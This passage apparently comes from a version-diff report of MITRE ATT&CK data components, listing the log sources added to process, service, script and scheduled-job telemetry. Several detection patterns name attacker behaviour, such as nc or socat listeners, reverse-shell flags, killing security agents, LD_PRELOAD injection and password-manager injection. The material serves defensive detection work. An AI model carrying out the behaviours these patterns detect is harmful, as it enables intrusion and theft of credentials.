exec'}, {'name': 'macos:osquery', 'channel': 'Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps performing repeated DNS lookups'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices or loginwindow events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with LD_PRELOAD or linker-related environment variables set'}, {'name': 'macos:unifiedlog', 'channel': 'execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious Swift/Objective-C or scripting processes writing archive-like outputs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of re-parented process'}, {'name': 'linux:osquery', 'channel': 'Anomalous parent PID change'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation with parent PID of 1 (launchd)'}, {'name': 'linux:osquery', 'channel': 'child process invoking dynamic linker post-ptrace'}, {'name': 'macos:osquery', 'channel': 'Processes executing kextload, spctl, or modifying kernel extension directories'}, {'name': 'macos:osquery', 'channel': 'Unsigned or ad-hoc signed process executions in user contexts'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of diskutil or hdiutil attaching hidden partitions'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis'}, {'name': 'macos:osquery', 'channel': 'process event monitoring with focus on discovery utilities and cryptographic framework usage correlation'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps generating frequent DNS queries'}, {'name': 'macos:unifiedlog', 'channel': 'process exec'}, {'name': 'auditd:SYSCALL', 'channel': 'socket: Suspicious creation of AF_UNIX sockets outside expected daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Non-standard processes invoking financial applications or payment APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells'}, {'name': 'auditd:SYSCALL', 'channel': 'systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system'}, {'name': 'macos:unifiedlog', 'channel': 'Process exec of remote-control apps or binaries with headless/connect flags'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl unload, kill, or removal of security agent daemons'}, {'name': 'macos:unifiedlog', 'channel': 'process activity, exec events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream process subsystem'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec and kext load events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'eventMessage CONTAINS "exec"\''}, {'name': 'WinEventLog:Microsoft-Windows-DotNETRuntime', 'channel': 'Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of network stress tools or anomalies in socket/syscall behavior'}, {'name': 'macos:unifiedlog', 'channel': 'Unsigned binary execution following SIP change'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start ssh/telnet, ip route add, tcpdump, tshark)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond'}, {'name': 'WinEventLog:AppLocker', 'channel': 'EventCode=8003,8004'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, unlink'}, {'name': 'macos:osquery', 'channel': 'launchd, processes'}, {'name': 'linux:osquery', 'channel': 'socat, ssh, or nc processes opening unexpected ports'}, {'name': 'macos:unifiedlog', 'channel': 'process execution of ssh with -L/-R forwarding flags'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or cron spawning mining binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls for processes using RSA handshake'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs'}, {'name': 'azure:vmguest', 'channel': 'Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution'}, {'name': 'macos:unifiedlog', 'channel': 'Script interpreter invoked by nginx/apache worker process'}, {'name': 'macos:unifiedlog', 'channel': 'execution of Office binaries with network activity'}, {'name': 'macos:unifiedlog', 'channel': 'launch of bash/zsh/python/osascript targeting key file locations'}, {'name': 'macos:unifiedlog', 'channel': 'execution of /sbin/emond with child processes launched'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete'}, {'name': 'macos:unifiedlog', 'channel': 'shutdown -h now or reboot'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for process execution and system call monitoring during reconnaissance'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to VM operations and configuration queries during reconnaissance'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for hardware and system configuration access during environmental validation'}, {'name': 'linux:osquery', 'channel': 'processes modifying environment variables related to history logging'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: parent process is usb/hid device handler, child process bash/python invoked'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, rclone, or Office apps invoking network sessions'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of kextstat, kextfind, or ioreg targeting driver information'}, {'name': 'macos:endpointsecurity', 'channel': 'exec events'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation involving binaries interacting with resource fork data'}, {'name': 'macos:unifiedlog', 'channel': 'process event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of suspicious exploit binaries targeting security daemons'}, {'name': 'macos:osquery', 'channel': 'execve: Unsigned or unnotarized processes launched with high privileges'}, {'name': 'macos:unifiedlog', 'channel': 'security OR injection attempts into 1Password OR LastPass'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:27.797000+00:00	2025-10-21 19:28:39.339000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

[DC0034] Process Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0034', 'external_id': 'DC0034'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.process'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads'}, {'name': 'linux:syslog', 'channel': 'sudo or service accounts invoking loaders with suspicious env vars'}, {'name': 'macos:osquery', 'channel': 'Process Context'}, {'name': 'esxi:auth', 'channel': 'user session'}, {'name': 'networkdevice:syslog', 'channel': 'Admin activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for sudo where euid != uid'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.TCC'}, {'name': 'macos:unifiedlog', 'channel': 'exec of binary with setuid/setgid and EUID != UID'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'Use of fork/exec with DISPLAY unset or redirected'}, {'name': 'EDR:Telemetry', 'channel': 'Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log API calls reading/altering time/ntp settings'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, prctl, or ptrace activity affecting process memory or command-line arguments'}, {'name': 'linux:osquery', 'channel': 'Cross-reference argv[0] with actual executable path and parent process metadata'}, {'name': 'WinEventLog:AppLocker', 'channel': 'AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy'}, {'name': 'EDR:hunting', 'channel': 'Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess, LoadLibrary)'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode', 'channel': 'ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads'}, {'name': 'etw:Microsoft-Windows-ClickOnce', 'channel': 'provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational', 'channel': 'Process session start/stop events for camera pipeline by unexpected executables'}, {'name': 'linux:osquery', 'channel': "select: path LIKE '/dev/video%'"}, {'name': 'linux:osquery', 'channel': 'state=attached/debugged'}, {'name': 'macos:unifiedlog', 'channel': 'Code Execution & Entitlement Access'}, {'name': 'macos:unifiedlog', 'channel': 'Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID'}, {'name': 'macos:unifiedlog', 'channel': 'code signature/memory protection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with UID ≠ EUID'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with escalated privileges'}, {'name': 'AWS:CloudTrail', 'channel': 'cross-account or unexpected assume role'}, {'name': 'macos:unifiedlog', 'channel': 'log collect from launchd and process start'}, {'name': 'containerd:events', 'channel': 'Docker or containerd image pulls and process executions'}, {'name': 'linux:syslog', 'channel': 'Kernel or daemon warnings of downgraded TLS or cryptographic settings'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications or writes to EFI system partition for downgraded bootloaders'}, {'name': 'macos:unifiedlog', 'channel': 'non-shell process tree accessing bash history'}, {'name': 'linux:osquery', 'channel': 'process metadata mismatch between /proc and runtime attributes'}, {'name': 'linux:osquery', 'channel': 'process environment variables containing LD_PRELOAD'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=400,403'}, {'name': 'macos:osquery', 'channel': 'Process Execution + Hash'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'process_start: EventHeader.ProcessId true parent vs reported PPID mismatch'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned/invalid signature modules or images loaded by msbuild.exe or its children'}, {'name': 'WinEventLog:Microsoft-Windows-DeviceGuard/Operational', 'channel': 'WDAC policy audit/block affecting msbuild.exe spawned payloads'}, {'name': 'WinEventLog:Microsoft-Windows-SmartAppControl/Operational', 'channel': 'Smart App Control decisions (audit/block) for msbuild.exe-launched executables'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or untrusted modules loaded during JamPlus.exe runtime'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:37.873000+00:00	2025-10-21 15:14:35.331000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0020] Process Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0020', 'external_id': 'DC0020'}]
x_mitre_log_sources		[{'name': 'auditd:SYSCALL', 'channel': 'rename, chmod'}, {'name': 'auditd:SYSCALL', 'channel': 'mprotect'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_MMAP'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting auditd process'}, {'name': 'macos:unifiedlog', 'channel': 'memory mapping'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=8'}, {'name': 'macos:osquery', 'channel': 'Memory Mappings'}, {'name': 'ebpf:tracepoints', 'channel': 'Runtime memory overwrite of argv[] memory region'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'Memory Modification / Unmapped module load or suspicious RWX allocations in the process space of a browser process'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous dyld dynamic library loads or RWX memory mappings in browser process'}, {'name': 'auditd:SYSCALL', 'channel': 'open, rename'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL ptrace/mprotect'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'macos:unifiedlog', 'channel': 'process, library load, memory operations'}, {'name': 'auditd:SYSCALL', 'channel': 'rename'}, {'name': 'linux:osquery', 'channel': 'Detection of bitwise operations or custom encryption functions in memory traces'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal memory operations (XOR/bitwise loops) during archive generation'}, {'name': 'auditd:memprotect', 'channel': 'change from PROT_READ\|PROT_WRITE to PROT_EXEC'}, {'name': 'linux:procfs', 'channel': '/proc/[pid]/maps, /proc/[pid]/mem'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:43.915000+00:00	2025-10-21 15:14:35.747000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0033] Process Termination

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0033', 'external_id': 'DC0033'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=5'}, {'name': 'linux:syslog', 'channel': 'Unexpected termination of daemons or critical services not aligned with admin change tickets'}, {'name': 'macos:osquery', 'channel': 'process_termination: Unexpected termination of processes tied to vulnerable or high-value services'}, {'name': 'esxi:hostd', 'channel': 'Log entries indicating VM powered off or forcibly terminated'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal process killed (killall Terminal) immediately after sudoers modification'}, {'name': 'auditd:SYSCALL', 'channel': 'exit_group'}, {'name': 'macos:unifiedlog', 'channel': 'process.exit.code'}, {'name': 'linux:osquery', 'channel': 'unexpected termination of syslog or rsyslog processes'}, {'name': 'auditd:SYSCALL', 'channel': 'Process segfault or abnormal termination after invoking vulnerable syscall sequence'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting logging/security processes'}, {'name': 'macos:unifiedlog', 'channel': 'Termination of syspolicyd or XProtect processes'}, {'name': 'docker:runtime', 'channel': 'Termination of monitoring sidecar or security container'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:34.519000+00:00	2025-10-21 15:14:36.181000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0104] Response Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0104', 'external_id': 'DC0104'}]
x_mitre_log_sources		[{'name': 'Internet Scan', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious changes in TLS certificate responses or redirected domains'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:36.394000+00:00	2025-10-21 15:14:40.412000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0106] Response Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0106', 'external_id': 'DC0106'}]
x_mitre_log_sources		[{'name': 'Internet Scan', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Altered response metadata or blocked content based on user-agent or geolocation'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:39.602000+00:00	2025-10-21 15:14:40.350000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0001] Scheduled Job Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0001', 'external_id': 'DC0001'}]
x_mitre_log_sources		[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4698'}, {'name': 'linux:syslog', 'channel': 'Execution of non-standard script or binary by cron'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'EventCode=106'}, {'name': 'linux:osquery', 'channel': 'crontab, systemd_timers'}, {'name': 'macos:osquery', 'channel': 'launchd_jobs'}, {'name': 'esxi:vmkernel', 'channel': 'Startup script and task execution logs'}, {'name': 'kubernetes:apiserver', 'channel': 'verb=create, resource=cronjobs, group=batch'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'process: crontab edits, launch of cron job'}, {'name': 'macos:osquery', 'channel': 'file_events - cron, launchd'}, {'name': 'esxi:cron', 'channel': 'execution of scheduled job'}, {'name': 'esxi:hostd', 'channel': 'task creation events'}, {'name': 'macos:cron', 'channel': 'cron/launchd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4699'}, {'name': 'linux:cron', 'channel': 'Scheduled execution of unknown or unusual script/binary'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:43.635000+00:00	2025-10-21 15:14:35.814000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0005] Scheduled Job Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0005', 'external_id': 'DC0005'}]
x_mitre_log_sources		[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'linux:cron', 'channel': '/var/log/syslog or journalctl'}, {'name': 'fs:fileevents', 'channel': '/Library/LaunchDaemons/.plist, ~/Library/LaunchAgents/.plist'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'Task registration/execution shortly after a time discovery event'}, {'name': 'linux::cron', 'channel': 'crontab or at job created within TimeWindow post time discovery'}, {'name': 'macos:unifiedlog', 'channel': 'New/modified launchd plist (persistence/scheduling) within TimeWindow after time query'}, {'name': 'esxi:syslog', 'channel': '/var/log/vpxa.log task invocations tied to time configuration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=106, 200'}, {'name': 'linux:cron', 'channel': 'cron activity'}, {'name': 'macos:launchd', 'channel': 'launchd.plist and logs'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:39:56.271000+00:00	2025-10-22 19:03:38.549000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0
x_mitre_data_source_ref	x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883

iterable_item_added
STIX Field	Old value	New Value
x_mitre_domains		ics-attack

[DC0012] Scheduled Job Modification

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0012', 'external_id': 'DC0012'}]
x_mitre_log_sources		[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/var/log/audit/audit.log'}, {'name': 'm365:exchange', 'channel': 'Remove-InboxRule, Clear-Mailbox'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4702'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:40.267000+00:00	2025-10-21 15:14:38.292000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0029] Script Execution

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0029', 'external_id': 'DC0029'}]
x_mitre_log_sources		[{'name': 'Script', 'channel': 'None'}, {'name': 'm365:office', 'channel': 'VBA auto_open, auto_close, or document_open events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "python"\''}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1502, 1503'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "wscript" OR "vbs"\''}, {'name': 'macos:unifiedlog', 'channel': 'osascript or AppleScript invocation modifying UI'}, {'name': 'networkdevice:runtime', 'channel': 'runtime'}, {'name': 'macos:unifiedlog', 'channel': 'log'}, {'name': 'esxi:vmkernel', 'channel': 'boot'}, {'name': 'macos:unifiedlog', 'channel': "AppleScript creating login item via 'System Events' dictionary"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'WinEventLog:Application', 'channel': 'Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing'}, {'name': 'ApplicationLogs:SQL', 'channel': 'Stored procedure creation or modification with shell invocation (e.g., system(), exec())'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=launchservices'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled'}, {'name': 'EDR:scriptblock', 'channel': 'Process Tree + Script Block Logging'}, {'name': 'linux:syslog', 'channel': 'boot logs'}, {'name': 'm365:defender', 'channel': 'ScriptBlockLogging + AMSI'}, {'name': 'macos:unifiedlog', 'channel': 'log stream with predicate \'eventMessage CONTAINS "osascript"\''}, {'name': 'etw:Microsoft-Antimalware-Scan-Interface', 'channel': 'Amsi/Script content + API verdicts during in-memory staging'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=4016,5312'}, {'name': 'auditd:PROCTITLE', 'channel': 'scripting loop invoking sleep/ping'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic'}, {'name': 'macos:syslog', 'channel': 'system.log, asl.log'}, {'name': 'macos:osquery', 'channel': 'exec: Unexpected execution of osascript or AppleScript targeting sensitive apps'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.Security or com.apple.applescript'}, {'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads'}, {'name': 'EDR:AMSI', 'channel': 'Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)'}, {'name': 'macos:unifiedlog', 'channel': 'osascript, AppleScript, or Python execution triggered immediately after HID connection'}, {'name': 'm365:unified', 'channel': 'Scripted Activity'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:46.164000+00:00	2025-10-21 15:14:36.018000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0060] Service Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0060', 'external_id': 'DC0060'}]
x_mitre_log_sources		[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7036'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'creation or modification of systemd services'}, {'name': 'macos:osquery', 'channel': 'Process Events and Launch Daemons'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7045'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=7045'}, {'name': 'linux:osquery', 'channel': 'newly registered unit file with ExecStart pointing to unknown binary'}, {'name': 'macos:unifiedlog', 'channel': 'creation or loading of new launchd services'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4697'}, {'name': 'linux:syslog', 'channel': 'systemctl start/enable with uncommon binary paths'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031, 7034'}, {'name': 'macos:osquery', 'channel': 'launch_daemons'}, {'name': 'macos:unifiedlog', 'channel': 'launchd loading new LaunchDaemon or changes to existing daemon configuration'}, {'name': 'macos:osquery', 'channel': 'detection of new launch agents with suspicious paths or unsigned binaries'}, {'name': 'kubernetes:audit', 'channel': 'create'}, {'name': 'containerLogs:systemd_unit_files', 'channel': 'unit file referencing container binary with persistent flags'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:54.408000+00:00	2025-10-21 15:14:36.315000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0041] Service Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0041', 'external_id': 'DC0041'}]
x_mitre_log_sources		[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:sysmon', 'channel': 'EventCode=4'}, {'name': 'linux:syslog', 'channel': 'service stopped messages'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl disable or bootout calls'}, {'name': 'esxi:hostd', 'channel': 'Stop VM or disable service events via vim-cmd'}, {'name': 'linux:syslog', 'channel': 'auditd service stopped or disabled'}, {'name': 'macos:osquery', 'channel': 'launchd'}, {'name': 'linux:osquery', 'channel': 'scheduled/real-time'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.launchservices'}, {'name': 'esxi:hostd', 'channel': 'registers services with legitimate-sounding names'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7035'}, {'name': 'linux:syslog', 'channel': 'Service restart with modified executable path'}, {'name': 'macos:unifiedlog', 'channel': 'Observed loading of new LaunchAgent or LaunchDaemon plist'}, {'name': 'kubernetes:audit', 'channel': 'seccomp or AppArmor profile changes'}, {'name': 'WinEventLog:System', 'channel': 'Service stopped or RecoveryDisabled set via REAgentC'}, {'name': 'esxi:hostd', 'channel': 'Service events'}, {'name': 'WinEventLog:WinRM', 'channel': 'EventCode=6'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'delete: Modification of systemd unit files or config for security agents'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of system configuration profiles affecting security tools'}, {'name': 'kubernetes:audit', 'channel': 'kubectl delete or patch of security pods/admission controllers'}, {'name': 'networkdevice:config', 'channel': 'write: Startup configuration changes disabling security checks'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:39:52.137000+00:00	2025-10-21 15:14:36.382000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0065] Service Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0065', 'external_id': 'DC0065'}]
x_mitre_log_sources		[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-IIS-Configuration', 'channel': 'Module or ISAPI filter registration events'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7040'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:57.700000+00:00	2025-10-21 15:14:37.211000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0057] Snapshot Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
